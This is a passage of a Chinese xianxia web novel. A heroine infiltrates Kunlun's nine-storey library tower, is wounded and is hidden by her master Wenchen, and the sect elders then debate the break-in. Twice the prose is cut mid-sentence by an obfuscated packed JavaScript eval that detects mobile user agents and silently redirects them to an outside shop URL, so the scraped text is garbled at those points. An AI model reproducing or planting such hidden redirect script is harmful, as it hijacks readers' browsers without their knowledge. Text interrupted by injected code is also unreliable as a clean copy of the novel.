闻尘:“明日回山。” 潇泉:“这么快?” “嗯,准备准备。”闻尘转身欲走,步子又顿,“吃饭了吗?” 潇泉:“没有。我在等你。” 闻尘没有管她所言是真心还是玩笑,微一颔首便离去。潇泉望着他没入昏暗的背影,只觉今日他有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173346|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反常。 不多时,仙侍端着饭菜进门摆布,看得潇泉忍不住流口水,屁股一坐开始动筷,“百里仙君干嘛去了?看他心情不是很好。” “仙君心情……我们一般看不出来。”仙侍一怔,“你看得出来?” 潇泉夹菜的筷子一停,接着若无其事道:“我看人脸色看多了,自然看得出来。” 仙侍点头,“仙君好像刚从议事堂出来。听说……金鹤仙君又为难他,不过百里仙君一般不会放在心上,所以我们没有过多关注。” 潇泉继续夹菜送进嘴里,“他吃饭了吗?” 仙侍耐心解释:“百里仙君从不在昆仑用饭,我们去了也是白送。他要么自己做,要么回青泽用饭。” 听到这话,潇泉好似食欲锐减,皱眉放筷,“我吃好了,你拿下去吧。” 仙侍端着空碟空碗离去,房间重回安静。 潇泉躺在椅上游神,心想可能是宫榷说了他不喜欢听的话,不然闻尘不会情绪表现这么明显。在外人看来也许与平时没什么两样,但在潇泉眼里却有着天差地别。 宫榷具体说了什么,用脚趾头也能想到。不过她也好奇,为何闻尘会一口答应欧阳德谦让拜师的请求?她身上究竟有什么价值让他有利可图? 难道说……不可能,最好不是这样。潇泉心里祈祷。 她在房间待到天黑,睡一觉醒来刚好过了子时,潇泉穿好衣服下床,去抽屉取出一张白纸,用笔在上面画出一层叠着又一层的高楼,在楼外画好一条条路线,觉得没有问题,放到一旁晾干,再从锦囊取出一张肤色的软皮,坐在镜前仔细敷紧,从面孔到脖颈一点不漏。 东西在来前便已备好,今夜正是发挥作用之时。 腕上的金刚手镯留存着潇泉的体温,她端详凝思,将手镯摘下放进匣子收好。出门之前,潇泉吹灭烛火,关紧门窗,把床上被褥弄成人形模样,这才翻窗溜走。 深夜人烟稀少,潇泉悠悠在小路上溜达,腰间锦囊随着身姿一摇一晃,走到没人的地方又一脸严肃潜入暗处,凭着记忆来到那座楼高九层的宝塔附近。 九重楼每层亮有明灯,气势恢宏震撼,仿佛透着一股生人勿近的威严气势。潇泉小心靠近,边爬边藏,成功躲到宝塔一楼窗边。此窗以琉璃秘制而成,无法窥视楼内,但可观望楼外。她掏出一张符纸贴在窗上,轻轻念诀,里面光景看得清清楚楚,如梦似幻。 一名仙女正往这边走来,潇泉加强符术,通过画面穿过窗户,神不知鬼不觉绕到仙女身后快速点穴,仙女防不胜防,晕厥过去。 她把人拖到角落交换衣服,再用符纸把仙女身上的衣服变回原来样子,施以傀儡术驱使她重新巡逻。 在九重楼巡逻的仙子有男有女,他们会穿上特制的侍服,蒙着面纱在自己管辖的区域巡逻,潇泉穿着这套侍服混入其中会方便许多。 巡逻不是随意走动,潇泉装作替人找书,慢慢摸到上面楼层。 楼梯结实老旧,总体呈旋转样式,像条巨大的红色长龙张着大口盘踞而上,中央空心,可从一楼望顶。 每层堆满古书旧籍,每格书柜有隐形的灵锁。如果强行拆书,不仅会触发机关暗器,还会引来守楼仙君。 潇泉得想办法上去探寻师姐的生平录以及师姐死亡真相,而所有线索源头都汇于那间锁死的房。 九重楼关乎昆仑根本,不能随便进入,更不允许四处触碰搜索,她唯有潜入。 巡逻仙子不多,每层一位,潇泉装作负责整理古籍的仙子,从桌上随便拿了两本书在楼道走着,听见两名路过的仙子小声议论。 “我刚刚好像看到守楼仙子去静室了,好像是在帮某位仙君找书,那仙君就在静室候着。” “九重楼不是不能随便进?那仙君肯定是议事堂的其中一位,会不会是朱雀门那位?” “不知道,我没看到。” 议事堂那几位包括华烨真人这种资历高深的仙君及长老,另外还有掌管三大门派的三位仙君。如果真有这么一位人物恰在楼内,估计潇泉此行会有点悬。 静室就在楼顶,她要是动点什么手脚,很容易被抓现行,不如先支走那位。 潇泉碎步追上两名仙子,“好姐姐,你们可知那仙君寻的是什么书?” 两名仙子面面相觑,其中一位笑道:“仙君找的是守楼仙子,干你何事?难不成我告诉你,你还真能找到给人家送去不成?这就想攀枝头了?收一收小心思吧,说不定仙君还嫌你手脏呢。” 潇泉挑眉道:“都是在昆仑当差的仙子,何来高低贵贱之分?不一样是为了混口饭吃?你怎的还讥讽同差?难道讽刺我你就能过上好日子了?昆仑只凭本事说话,光耍嘴皮子可算不得什么。” 仙子不怒反笑,眼睛明亮如珠走近潇泉,“倒是奇了,进九重楼的侍女竟还有你这等狂妄自大之徒。既然你觉得自己本事大,不如自己在这茫茫书海中找到仙君所愿,也算我佩服你。” 潇泉懒得废话,继续上楼。 仙子摇头笑笑,携着同伴下楼,不屑道:“自不量力。” 潇泉充耳不闻,抱着古籍上到六楼。 楼道上,一名华服男子正对着一面墙的书四处翻看。潇泉心中略喜,淡定问道:“仙君您在找什么?要我帮忙吗?” 男子看也没看她,“我在找书。你忙完了?” 潇泉:“当然忙完了,听说您要找书,貌似很难找,所以我想来帮忙找找。” 男子这才正眼瞧她,眼神有点不信,“你一个小小仙侍,还知道九重楼放书的规律?我要找的这本可仅有两本复制品,如同大海捞针。” 潇泉:“我知道一些的。不如仙君您先说说是什么书罢?我找找看。” 男子:“《万山百草集》,别记错了。” 潇泉不确定问:“这是不是……民间药草录的一种?” “算是。”男子面色缓了缓,给出一块碧色小玉牌,“药书的分类只有两地,你去另一地找找看,没有再和我说。” 潇泉如获珍宝般把令牌捧在手心,立时离开此地。 守楼仙子实力不详,但潇泉不敢掉以轻心,放任自己处于废柴的状态才顺利在他眼下走过,不然难以蒙蔽对方。 小玉牌是开柜钥匙,有它可以解开任意柜锁,随便找书。 潇泉凭着分类挂牌找到另一块药书分地,左转右转,终于找到那本老旧厚重的书籍。她把原来怀抱的书籍暂时搁在楼道小桌上,抱着这本药书越过守楼仙君直奔第九层楼。 第九层楼说神秘不神秘,说好进也不好进,里面有一个名为“静室”的房间,光线半明半暗,置有一颗会发光的硕大珠子,其散发的灵光与空气相融,难辨梦实。另外,墙角还有两把呈弩状的巨型神器,垂直朝天而放,颜色不新,似蒙尘许久。 潇泉悄悄爬至,来到静室门口,推门步入。 室内画屏后方传来声音:“谁?” 一抹深影闪到她的面前,带着对陌生来客的警惕和不悦,气场威极。潇泉慌忙后退半步,展出药书,“仙君,我是来送书的……” 26. 执念 昏沉光线逐变清明,眼前人的面孔陌生大过熟悉,正是玄武洞门主夜琛郎。他黑鬓带霜,双目幽深浑浊,面相同本人一样不好相处。 夜琛郎没注意来人是谁,冷冷拿过潇泉手中古籍,坐回位子开始翻阅。守楼仙君上来见他拿到药书,看向潇泉的眼神多了一丝欣慰,“你下去吧。” 潇泉点头应诺走出静室,没有急着下楼,趁他们不注意偷偷藏到书柜之后的死角,想等夜琛郎走了再做打算。 约莫等过半炷香,静室的夜琛郎还没有离开的动静,她只好先放弃赶人出去的念头。 下至七楼,潇泉蓦地停住。 角落有一条不起眼的黑暗密道,约莫一人身宽。趁周围没人,她摸索进去,看见一扇封尘已久的铜门,上面交贴着旧烂斑驳的红色封条。 她故技重施用符纸穿门而入,一进去便感到死气沉沉的气息扑面而来,呼吸声和脚步声在这片没有生命的死寂中格外清晰。 眼前是望不到头、摸不清方向的格柜方阵,每一柜都上着一把沉重的锁。潇泉放慢脚步,尽量不去触碰这些物什,以免触到机关。 房间没有窗户,透不见光,漆黑如墨,走到里面似乎看见一面墙壁闪着斑驳蜿蜒的暗红光纹,犹如一条搁浅的鱼在苟延残喘。观察四方,其他墙壁却不这般。 这面墙不简单,好半天潇泉才看清有一扇被重重铁链缠紧封印的青铜门嵌在墙中,不知里面封印着何物,没人清扫门上灰尘。 还是不要招惹未知物为好,潇泉自觉回退,紧接着听到一阵迅速涌来的步声。 有人来了! 她迅速躲到格柜之后,把一张符纸化成一只暂时可以自我行动的傀儡木偶,驱使它往反方向去,赶来的脚步声果然随之去了。 潇泉立刻冲向门口准备跑路,然而过程没有想象那么容易。 一道凛冽清风袭来,她侧身一避绕过对方,挥出符纸逼退那人,速速跑出这条唯一密道。 另一边,子弟们抓到逃无可逃、自毁的傀儡木偶,反应过来被人戏耍,暗骂一声,拔腿返回,可惜早已不见嫌疑人的踪影。 为了扰乱他们的视野给自己博取逃生之机,潇泉抽出五张符纸化成漫天红蝶挤满整条密道,自己加快脚步跑下楼。 意外的是,身后人脚步更快,一下追至。 潇泉侧首斜视,对上那双熟悉得再不能熟悉的眼。 她压住惊愕,回手抓住闻尘衣袖往回一推,再借力跳出栏杆落往一楼。闻尘反追迅速,跟着纵身一跃。两道身影就这么一上一下掠过层层红漆楼道。 机关在此刻转动,迅雷不及掩耳之势射出一道道银光。潇泉落地那瞬,连忙撑起身体往旁边一避,攀着墙壁一圈圈跑,暗器顺着她的脚步逐一凿入壁中,一个没中。 子弟们听闻声响,即刻锁住一楼大门,想方设法抓人。 有暗器锁定追击和活人围攻,潇泉难以顾全,躲到上面二楼时,肩膀不慎中针,再有镇魔针刺来时,追来的身影闪到潇泉面前,一剑挡开暗器。 闻尘反手抓住她手腕,摘下她的面纱,看清面孔后,静止不动了。 潇泉微微挣扎,明知故问:“仙君以为我是谁?” 闻尘默然,没有松手。 潇泉心中轻叹,“随意握女子手,这便是你们修仙人的风范?” 闻尘依旧不言,握手的力量只重不轻。 眼看下面的子弟就要追上,潇泉不能再浪费时间,正要寻地方躲,闻尘握她的手倏然一拉,导致潇泉短暂失去平衡,连连跌步撞到他身上,还没反应过来,便被对方带到角落的柜子之后。 这层楼的所有地方,只有此处可以藏身。 柜子后面空出来的缝隙狭窄拥挤,不说转身移位,伸展四肢也极困难。潇泉被人按在墙壁之上,受伤的肩膀则被一只手掌垫着,没有直接接触冰冷墙面。 疼痛从肩处丝丝缕缕爬上心头,潇泉额冒冷汗,心情复杂,存心报复,张嘴咬住捂在唇上的手指慢慢啃磨。闻尘似感受不到痛,没有收手。 须臾,痛楚淡去一点,潇泉苍白的面色有所缓和,不想与他纠缠,启齿松开手指,脑袋慢慢耷向旁边放松调整状态。 闻尘保持姿势,没有打乱这只能勉强容下两人的空间,伸手轻轻托起她斜下去的脑袋。 潇泉微微蹙眉,随他而去。 假如她继续跟他争执,很有可能吸引那些子弟注意,到时不好收场。闻尘已将她抓住,但看上去好像只拦不抓,她不如静观其变,试试能不能找到机会溜之大吉。 这次夜闯,因为闻尘不得不终止。 潇泉侧耳噤声,听见子弟门生还在楼道打转找人,急得满头大汗,心中不免无力苦笑。他们压根就没想到自己要抓的人被他们的仙君带到角落藏得半点不露。不知得知真相以后,他们会作何感想。 包庇罪徒,理应同罪。 想到此,潇泉忍不住瞟向闻尘锁骨那处,不知不觉皱紧眉头。 倘若这时候他把自己交出去,其实不算包庇罪犯,昆仑发现之后不大可能深究。若是执意包庇被昆仑发现,他还会像今日这般万人敬仰吗? 潇泉默默心想,抬头看见闻尘一直凝视自己,眉梢一跳,微微低头不去看他,后背紧贴墙壁不留缝隙,始终留着一只耳朵注意外面的动静,仿佛挡在她面前的是一堵空气。 有几名子弟来到二楼,有一搭没一搭地聊着,潇泉静声细听。 “百里仙君和那小贼跑哪儿去了?刚才不是还在这儿?” “是不是上楼了?我们去看看。” 子弟们交谈完毕,决定上楼看看,大步流星跑上去重新寻找。 二楼暂时脱离巡逻视野,潇泉默默松一口气,想着闻尘还没放手,不禁怀疑他是否在思量到底要不要审问自己。如果有意,她得尽快挣脱禁锢;如果无意,他压人的时间未免过长。 潇泉还没找到东西,绝不能这么快落网,必须尽快逃离此处。 她开始表达抗拒,尝试挣脱束缚往书柜外面逃脱,闻尘没给机会,垫在她肩膀的手缓缓用力收紧,将她整个人往他那边拢去。这样一来,潇泉后背不再紧贴冷墙,反而被迫靠在闻尘身上,姿势从单方面禁锢转为面对面拥抱。 近,真的很近。 潇泉不自觉放轻呼吸,暗暗使力与他抗衡,无果之后,不由恼羞道:“放手。” 闻尘仍旧固执不放,静声看她。 他的紫衣染着淡淡药香,几缕发丝垂在胸前与潇泉发丝交织成瀑,难分彼此。淡香本就撩人心弦,近在耳边的呼吸更是挠得人心痒发慌。 熟悉,原来只有熟悉。仔细一看,他如似昔日的少年,只是棱角更为分明。 这好像不是现在该想的事,潇泉陡然清醒,强行拉回思绪,一把拽住闻尘衣襟,把人推出墙角,抛出符纸炸到地上点燃,以符火隔开两人距离,“再往前,我就不客气了。” 意料之外,闻尘止步。 在静室的仙君出来之前,潇泉用最后一张符纸穿过二楼窗户跳了下去,没入黑暗不见踪影。 闻尘下意识向前一步,又猛然收回动作。 被溜得团团转的子弟们闻声赶来,吁吁喘着气道:“奇了怪了,我明明看到那名女子跑了下来,怎么不见了?” “快去跟长老们报信,不能让那人跑了!” “夜郎仙君,您在上面吗?” 夜琛郎和守楼仙君刚好出来,看到此景皆是一愣,匆忙下来问:“何事这么喧哗?我们在静室没听到声音。” “这、这不可能,一定是那贼人使了什么手段把静室与外界隔离了。”昆仑子弟思忖,“还好百里仙君在此,否则我们根本不是那贼人的对手。” “我好像看到她往那边跑去了,我们要不要去追?她中了一根镇魔针,肯定跑不远。我们用千里眼追寻镇魔针的踪迹,这样她肯定暴露无遗。” “此事太突然,我都没注意。”夜琛郎拧眉,“闻尘,你还不去禀报华烨他们?” 闻尘站在楼梯口,背对着他们,“她身中一针,必死无疑。我们先戒备九重楼,看看有没有东西丢失。” 夜琛郎:“你怎么知道她必死无疑?” 闻尘:“我刚和她交手。” 子弟:“我们也看见了!百里大人进攻的时候她只会躲,用的技法从没见过,不知在哪儿学的。我猜她法术肯定不行,绝对挺不过镇魔针!” 镇魔针顾名思义是为镇魔,杀伤力极强,不是魔也会受尽苦楚,最坏的结果就是眼睁睁看着自己死去。 夜琛郎:“你们快去叫人布防出口,不许任何人下山,我和闻尘即刻去禀明长老。” 闻尘停在门口没有要去禀明的意思,夜琛郎知他脾性风格,没再说话,自己拂袖去了。 警钟响彻九重楼,闻尘领着一众子弟在附近各个出口岔路防守,他则一人去其他地方寻找线索。 夜凉风大,闻尘启用千里眼,终于在青地路间找到那根被遗弃的镇魔针。上面还沾着新鲜血迹,他捻在指间抹去血迹,慢慢握紧针身。 “仙君,你有什么发现吗?”一名子弟路过,见他在此过来询问。 闻尘握着镇魔针的手自然而然收进袖中,摇头道:“你先归队,一个人危险。” 子弟奋力点头,抱剑找其他弟子去了。 闻尘摊开手掌,那根镇魔针不出意外掺入他的掌心血,魔气减淡许多。他五指一张,镇魔针缓缓悬空,在法力的压制之下炸成粉碎,不留痕迹。 他望着空荡的某处,久久没有回神。 今夜,昆仑注定不眠不休。 远处的高楼灯火葳蕤,近处的晚风萧瑟凛凛。 潇泉捂肩靠在巷道的老墙上歇着,觉得吹够凉风,朝附近的一家客栈走去,忍痛翻到二楼没人的房间里。 没找到能换的衣服,她又去隔壁的隔壁翻到一套衣服换上,再倒点清水擦洗伤口血渍,撕下床帷做成布条绑紧肩膀。 潇泉坐在榻上,一边压制体内蠢蠢欲动的力量,一边回想刚才的事。 镇魔针非同小可,当时疼痛难忍,不得不硬生生排出体内,而今一想有点后悔。要是有人捡到此针,通过针上血迹挨个排查,后果不堪设想。尽管可能性不大,但不是没有可能,她只能庆幸没人发现那根粗心丢在草地上的镇魔针。 潇泉倒了杯水压压惊,翻下窗棂走进深林。 林中呜咽的冷风伴随着低沉鬼嚎,一张惨白的脸从树上吊下,张开大嘴咧咧笑着。潇泉面无表情在掌心画符,然后迅速轰打而出,将它脑袋一掌拍碎。 被爆头的妖邪愤怒地控制无头身体奔向潇泉,伸出利爪就要撕破她喉咙,又在即将触碰的距离蓦地停住。 它的腹部被一只吸收符纸力量的年轻胳膊掏穿,潇泉眼睛眨也不眨,把里面的妖丹剖出捏碎吸入体内。 果然,她只能吸收邪气恢复力量,只是这力量世间不容存在。 潇泉来这儿可以说是专门找它麻烦的,一是它吞吃过人,留着是个祸患;二是她想看看自己是不能修仙还是只能修魔。刚才的情况已很明显,她注定与仙途无缘。难道真要重蹈覆辙再走魔道? 真要如此,青泽山绝非长久居住之地,与闻尘的师徒关系迟早会打水漂。抛开后果,此事算小,她更怕的是牵连到他乃至整个青泽。 收一个废柴为徒,闻尘到底怎么想的? 罢了,能装一日是一日。人固有一死,但生前贪图眷恋一下幸福美满也未尝不可。 回想在九重楼斗智斗勇的情景,潇泉有点生气又有点无奈。某人既不让她进去,又不让巡逻弟子发现她,究竟想干什么? 一个猜想冒出心头,可她又很快抑制回去,不敢深想。 夜林稍寒,潇泉不曾感觉寒意,脑海浮现当时挣扎的画面——紫衣乌发,檀香清苦,空气被呼吸的温度和淡香充斥,夹杂着丝丝血腥。气氛如此怪异,却莫名透着一股温暖安心。想到这里,潇泉身心震了一下,拍拍自己的脸清醒清醒。 不知碰见他是幸运,还是不幸。 潇泉在房间等到伤口散去暗器残留的灵气,在客栈后院溜了一圈,发现后门能用器具简单撬开,去马厩挑了一匹灰鬃骏马,摸着马头,柔声道:“好马儿好马儿,今日实在没钱雇你,我带你去吃仙草作为报酬如何?” 灰马没有反抗,潇泉牵它走出后门,躲过客栈眼线,踏上去往青泽的路。 她得尽快在天亮之前赶回去,届时闻尘质问,她随便找个理由搪塞过去。不解释也行,只要他没问。 天微微亮,潇泉刚好走到青泽山脚,通过僻静山路直达山顶,再把马匹喂饱,赶回山下。 路上没撞见人,又逢昆仑开山,不少宗门子弟被招去镇守秩序,现在的人更少得可怜,潇泉都没看见多少。 她回到房间,到处翻找灵药无果,只好违反规矩摸到闻尘寝室看看有没有药。他的寝室孤冷宁静,潇泉不自觉放缓呼吸步子,像是生怕惊扰到还在睡眠中的活物,然而实际房间无一活物。 她悄悄探寻,还是没找到灵丹妙药,但在书柜寻见一颗微含淡光的灵珠,稍微靠近便觉身轻心舒。不消片刻,潇泉肩膀的灼烧之痛慢慢减去,退远几步也不曾有复发之兆。 如此甚好。解决完伤痛,她拖着疲身回房入睡,等着结果到来。 昆仑山,长老仙君连夜汇聚一堂,堂内鸦雀无声。 武执笔站在二楼中央,望着楼下诸位,清声道:“近日,昆仑镜意象不明,隐有不祥征兆,主宰本欲令诸位多多注意周围异象,不曾想今日九重楼突然遇袭。看来,天下局势可能将有不测……百里君,你与那贼人交过身手,等会儿在主宰面前一定得一五一十说来,不能有半点纰漏。” 他微微一停,又道:“武某并非怀疑百里君有意放过贼人,只是你修为甚高,却错失抓贼良机,实在有点说不过去……仙君如实所说即可,主宰自有评判。他非常器重您,想必不会为难。” 闻尘低眉颔首。 宫榷瞥他一眼,冷笑不语。 堂内站了好些人,气氛却是冷冷清清。华烨真人忍不住叹气,“这才刚闭堂便又开了,想来那昆仑镜不应该是乱象,回头我们得加紧防护。这批新来的子弟如何?没有被吓到吧?” 九重楼遇袭一事一夜之间传遍昆仑,事发到现在已经天明,多数宫殿房间还不曾熄灯,说明在意此次悬案的人多之又多。年长的子弟门生习惯待在山上的生活,晓得如何自处,会安分遵守昆仑安排。但新来的子弟门生还年少气盛,容易坐不住板凳,甚者还有年幼无知者,容易担惊受怕。 夜琛郎:“难得华烨你还有心思关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178230|194969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心晚辈。放心,昆仑对外防守严密结实,他们不会有性命之忧。至于袭楼凶手,可能得等主宰到场慢慢说。” 不久,一阵车辙声自远方而来,公主花容酒推着一位满头霜发的男人进堂,众人齐齐望去,面色严峻。 男人还是那身熟悉的金边雪衣,双腿自然垂放在轮椅踏板上,面容慈祥,双眼如过沧海桑田,除了平淡再无多余情感。他右半边脸戴着玉制面具,窥不全容貌,但能通过这具百年身躯看见曾经的年少风华。 昆仑主宰在世数百年,一生只以代号为名,世人不知其本名,生育的子女也不随姓,取名讲究尘世缘分,而非血缘。 听闻公主出生那日正逢牡丹盛放时节,所以主宰替她取名为花,名容酒。 花容酒推着父亲停至堂内中央,后退一步,对其余人的存在仿若未察。 外面的风声清晰可闻,议事堂更加沉寂,众人神色肃穆,朝正前方俯首行礼。坐在轮椅上的雪袍男人不紧不慢抬手,众仙得令,直起腰杆,目视男人。 对仙门来说,主宰是超一切的重要存在。 这个位置不是谁强谁担任,摒除七情六欲仅是入门,更重要的是需要一双超然物外的慧眼,站在修行最高处,见众生、观沧海,以无情成就大爱,兼济苍生。 达到这种程度只靠修行不成,更多是看天意。天意有眼,命定之人。 主宰环视堂内一圈,“吾已听说九重楼遇袭一事,诸位有何见解。”他的声音温柔而坚韧,带点细沙淌过的轻哑。 有位耄耋之年的长老站出来道:“主宰大人,老夫以为是门派弟子藏有奸贼,不然不会轻易找到九重楼偷东西。百试大会结束之后,留下来的都是资质符合入昆仑的门生。老夫认为应当排查所有,一个不漏。” 宫榷顿了顿:“裘长老,这样做是不是有点过了?”虽然拜入昆仑的子弟出身大多不及三大仙门世家,却有不少来自名门正派。把别人当作盗贼排查,似乎不大合礼数吧。” 主宰:“裘长老为尽快解决安危,这样做也能理解。不过,金鹤所说不无道理。尽管天下以昆仑为主、三大仙门坐镇,但人外有人,天外有天,这世上还有许多我们没见过的能人,性情各异。倘若猜测无辜,难免会生节外生枝,凡事要留余地,不可鲁莽,在事情还没到无法挽留的地步,不必逼人太紧。” 裘长老欲言又止,见周围无人反驳,只好妥协顺从。 华烨真人:“听巡守子弟说,侵入者身法敏捷,不曾施展法术,用的都是没用过的伎俩,诡谲多变,不好应对……九重楼暗器杂多,一旦触碰,门中子弟不便全身而退。” 大家一听,瞬间恍然。闻尘躲避暗器完全没有问题,但晚辈门生却不一定,有的年纪还没暗器存世的时间长,不计后果大打出手,极易造成一笔不小的损失。 夜琛郎:“照这么说,闻尘是担忧子弟陷入九重楼暗器困境才不好用力追捕的?” 宫榷冷笑,“如果不能保证子弟门生躲过暗器,那就不要派他们巡逻看守好了,直接在楼道布设眼线,省得麻烦。” 华烨真人挤眉,“金鹤。” 宫榷表情淡淡,“我实话实说罢了。主宰大人要是觉得金鹤口出狂言,罚我便是,我绝无怨言。” 主宰表情扯出一丝无奈,摆手示意宫榷退回原位,没有罚他,转而对闻尘道:“百里君,当时情况你最清楚,可有什么头绪。” 闻尘:“对方特意隐藏实力,真实身手了得。我担忧九重楼机关伤到子弟,所以没有使出全力。另外,此人用心易容,难窥真容,貌似女子,也许真身为男。” 主宰“嗯”一声道:“看来你还是有心观察过对方的。” 闻尘垂目不言。 “此人身份难测,镇魔针又被异能摧毁,找人无非是大海捞针,逐一排查不切实际。吾让公主特地查了两遍,并无物品丢失,想来那人没有得逞。”主宰神情淡然,“不过,万物间有被闯入的痕迹。” 万物间建成已有两百余年,外间大多存放藏经禁书,守楼仙君进入都需上报主宰,更别提一个外来贼子。 夜琛郎寻思道:“赤霞乃上古神剑,也是神魔生前的唯一佩剑,后来跟随主人堕魔,被魔气浸染不浅……它在里间被封印这么多年,不见有任何反应,不大可能是它吸引贼人闯入。依我看,就是贼子太贪心,毕竟万物间的确存放着许多稀世之宝。奇怪的是,万物间不是有九重锁?贼子是怎么进去的?就凭那点诡异伎俩?” 宫榷斜睨他,“她都敢进九重楼了,还有什么不能进的地方?肯定是有备而来。” 主宰:“这话倒没错。闻尘,你可还记得盗贼的技法?” 闻尘:“她用技法蒙了我的双眼,没有看清。” 华烨真人:“既然线索零碎,找不到人,那便往后推一推。当务之急,是要重改九重楼的防护机制,给每层楼安插眼线,最后我们在外面合力布阵,加强保护,以达到最好的防卫效果。这些子弟晚辈,便撤在楼外看守罢。” 主宰沉思,“吾在想,到底是什么诡术能摧毁镇魔针,又是什么人中了镇魔针却不死,逃得无影无踪。” 众人面面相觑。 这确实值得深思,九重楼的暗器无一不是经过重重筛选而出,有防仙镇魔之效,伤害高、摧毁力强,普通人体被伤到要处,难逃一死。令人匪夷所思的是,这人中了一针,还能逃脱众人之眼,着实让人意外。 这时,一只手搭在主宰肩上,花容酒语气坚定,“父亲,此人不用法术,实力绝不简单,好在对方未能得逞。不如我们先加强楼内外的防护,待那人再来行盗,必是自投罗网,有来无回。” 主宰思量过后微微颔首,“华烨,你和其他三位仙君去九重楼布阵。在此之前,记得要遣退所有子弟,保证他们安全撤离。” 华烨真人拱手,“是。” 夜琛郎:“无陵火山可有异样?若有分毫动摇,怕是……” 话一出,所有人屏息不动。 “一个小贼还不足以撼动无陵火山。若有突变,吾会誓死坐守昆仑,你们无需担心。”主宰滑动轮椅,“只要昆仑灵脉永驻,无陵火山就掀不起风浪。” 提到无陵火山,所有人脸色俱变,大气不敢乱喘。 主宰抬头面向天边,“时候不早了,你们可以去了。记得广而告之九州加紧防护,警惕妖魔。” 众人齐声应道:“是。” 议事毕,堂门关。 华烨真人迅速带着百里君、金鹤君和玄武君去九重楼布阵,他们共同联手加固防护,几乎无人能破。当然,要是白清鸣在场,护阵的坚硬度会更上一层楼。 故人缺席百年,主宰觉得眼前的视线好似清晰了一些,缓缓举手想接飘来的落叶。可惜清风倾斜,落叶颤巍巍落在衣上,他举手接了个空。 身后的花容酒见状,停止推椅,转到男子跟前,把落叶放置他掌心。 主宰扬唇,“这是什么颜色的叶子。” 花容酒:“父亲,这是青色的叶子。” 主宰轻喃:“青色……” 花容酒微微躬身,“怎么了父亲?” 主宰摇头,“没,只是想起了一位朋友。” 难见父亲产生思念之情,花容酒不禁好奇,“是谁?” 主宰:“青泽山那位。” 27. 执念 这位,确是一位特别的故人。 曾经花容酒听说父亲年轻时候被世人列为“八仙”之一,交有两位挚友,一位英年早逝,另一位便是如今闭关百年的白宗主白清鸣。其余六名仙子与父亲关系不差,但也没到知根知底的地步,唯独和这两位关系要好。 他们皆是各自学术领域中的佼佼者,其中包含青莲剑道、儒派仙修、阴阳道修和正道修士等派别,最为名扬天下的是青莲剑道,然后再是信奉儒派的华烨真人。 八名年轻人因志向结识,性情相知,时常云游四方、翻山越海、除魔奸邪、惩恶扬善,以这样一个年轻气盛、恣意快活的形象闻名九州内外,于是世人取名“八仙过海”,替寓:不为刀山低头,不为火海折腰。以此纪念八位英雄豪杰救济凡尘的胆力,亦望他们坚守本心,永不妥协。后来时间一久,民间自觉形成信仰,传下一句话——神通济凡,世恩永年。 这段美好的故事只在昔日,今时不再,但即便年轮渐远,依然有不少人纪念着“八仙过海”,而那句话也已经成为经典。 八仙故事归八仙,每一仙的经历却各有差别。 听其他年长仙君说,父亲年轻时性情冷淡,在八仙中的存在感较低,是一次意外才结识两位挚友。熟面孔的白宗主不必多说,另一位比较神秘,出身年龄姓名不祥,就连来自何方也没有记载,昆仑没有任何有关他的卷宗。 一位和白清鸣并肩为首的八仙之一,在仙门圣地竟没有任何存在的痕迹,这实在可疑。 花容酒听过一种说法,父亲与这位仙君生出嫌隙彻底决裂,成为至尊后抹掉了对方存在的所有痕迹,也不许任何人祭奠,做事果断,不念一丝旧情,渐渐被白宗主疏远。 关于传闻的真假,花容酒找不出证据辨别。父亲不是念旧之人,更不会啰嗦闲情琐事,尤其是过往。 可越是神秘,花容酒越是好奇,耗费心思四下打听,巧合在一位老前辈那里得知父亲不肯提及的这位挚友是世间最后一位山神,为心爱女子自甘陨命、散尽魂魄,化作山海。 在仙门中,强者为爱自灭会被部分修士视为屈辱。在他们看来,为一人而死是为自私,只有为大家而死,才值得被人祭奠传颂。 花容酒看不清父亲是哪种人,他的爱恨情仇全都淡薄如水,令人捉摸不透。她还隐约记得自己儿时问过父亲关于母亲的去向,他总是闭唇不答,面容不改淡色。 按理来说,任职主宰之人早已断绝七情六欲,不会轻易沾染红尘,更不可能与别人结缘诞下一子,父亲却打破常规,让花容酒控制不住地胡思乱想,明里暗里打听自己的真实身世。 她出生前,父亲还未坐任主宰一职,也就是说他在担当重任之前便与母亲结识。只是父亲为人低调,加之年过久远,没人知道她母亲的真实身份,只有一个说法还算可信。大概是父亲在救济路上被人缠上生了孩子不得不负责的故事。至于为何说是他被缠上,因为他已克服情欲,将自己所走的道法修至巅顶,不会再为谁心猿意马,所以只有别人为他动情的可能。 假如真是如此,花容酒也不怪父亲为何始终不提母亲了。对修道之人来说,感情强求不得,遑论求子,简直荒谬。可生命珍贵,她还是得感谢这名女子的赐命之恩,否则她也不会走到今日这般地步,而且父亲待她要好。 好是归好,却也止步于此。 花容酒把这些想法全部藏在心底,主宰对她此刻所想全然不知,接着道:“经此议事堂一会,吾很惊讶一件事情。” 花容酒:“何事?” 主宰:“闻尘有隐瞒。” 花容酒一愣,“他会对父亲撒谎?父亲如何看出来的?” “吾也很惊讶,平时就他最恪尽职守,这次却找借口欺骗了吾。” “怕受罚?” “当年他受判台之刑从未展现怯懦,说是认错,不如说是妥协。罚他死或赐他死,都没有任何意义。”主宰语调平淡,“对一个想死的人的最大成全,就是让他死。” 